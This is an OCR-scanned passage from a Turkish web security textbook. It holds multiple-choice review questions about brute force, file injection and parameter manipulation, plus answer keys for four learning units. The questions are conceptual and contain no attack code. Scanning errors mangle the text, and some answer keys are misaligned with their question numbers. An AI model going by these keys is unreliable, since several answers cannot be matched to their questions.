6. Asagidakilerden hangisi otomatik olarak birgok

kullanici ad ve parolasinin denendigi sizma tes-
ti cesididir?

A) Brute Force Attack B) CSRF
C) IDOR D) SQL Injection
E) XSS

. Web uygulama giivenligi icin giivenli ileti-
simin Onemi asagidakilerden hangisinde
belirtilmigstir?

A) Kullanicilarin kimlik bilgilerini korur.
B) Sadece yetkililerin verilere erisimini saglar.

C) Verilerin sifrelenmesini saglar ve kotu niyetli
erisimi engeller.

D) Verilerin hizli bir sekilde iletilmesini saglar.

E) Verilerin butlinlGgint korur.

8. Web sizma tekniklerinin kullanim amaci asa-
gidakilerden hangisidir?

A) Web uygulamalarini gelistirmek.

B) Potansiyel zafiyetleri tespit etmek ve gi-
venligi artirmak.

C) Kullanici verilerini korumak.

D) Sadece siber saldirilara karsi savunma ge-
listirmek.

E) Web uygulamalarinin daha hizl ¢calismasi.

9. Asagidaki se¢ceneklerden hangisi File Injecti-
on saldirisinin bir sonucu olabilir?

A) Kullanicilarin oturumlarinin ¢alinmasi
B) Veri tabani sorgularinin manipile edilmesi

C) Zararli dosyalarin uygulamaya enjekte edil-
mesi

D) Dosya yukleme islemlerinin giivenli olmasi

E) Uygulamanin hizmet disi kalmasi

10. Kullanicilarin URL parametrelerini veya
form alanlarini degistirerek istenmeyen so-
nuglar iiretmelerine olanak taniyan giivenlik
acig1 asagidakilerden hangisidir?

A) XML External Entity (XXE) Attack
B) Parameter Manipulation

C) File Inclusion Vulnerabilities

D) Brute Force Attack

E) Cross-Site Scripting (XSS) Attack




1. OGRENME BiRiMi

1. Etkinlik
1 2 4
Giivenlik Kolayhk Yetkisiz
5 6 8
Tasarim izinler Karmasiklik Parola
A-Boliimii
1 2 3
D Y D
B-Boliimii
1 2
Rol tabanh Kaynaklara Gilvenlik Uzmanlari
C-Bolimii
1 2 3 4 5 6 7
C B A A D E A

2. OGRENME BiRiMi

A-Boliimii
1 2 3 4
Y D Y D
B-Boliimii
1 2
AJAX Microsoft SDL




C-Boliimii

1 2 3 4 5 6 7

C C E D E D A

3. OGRENME BiRiMi

A-Bolimii
1 2 3 4
Y D Y D

B-Bolumii

1 2

3 4

Yazilim giivenligi Azaltma

C-Boliimii

1 2 3 4 5

B D C A E B C

4. OGRENME BiRiMi

A-Bolimii

1 2 3 4 5
D D Y Y Y

B-Boliimii

ISO/IEC 27001 Guvenli yazilim testi

1

2 3

Kimlik dogrulama ve yetkilendirme

Web uygulamalan SQL Injection

5

C-Bolumii

HTML, CSS ve JavaScript

1 2 3 4 5 6 7

A E D D C A E
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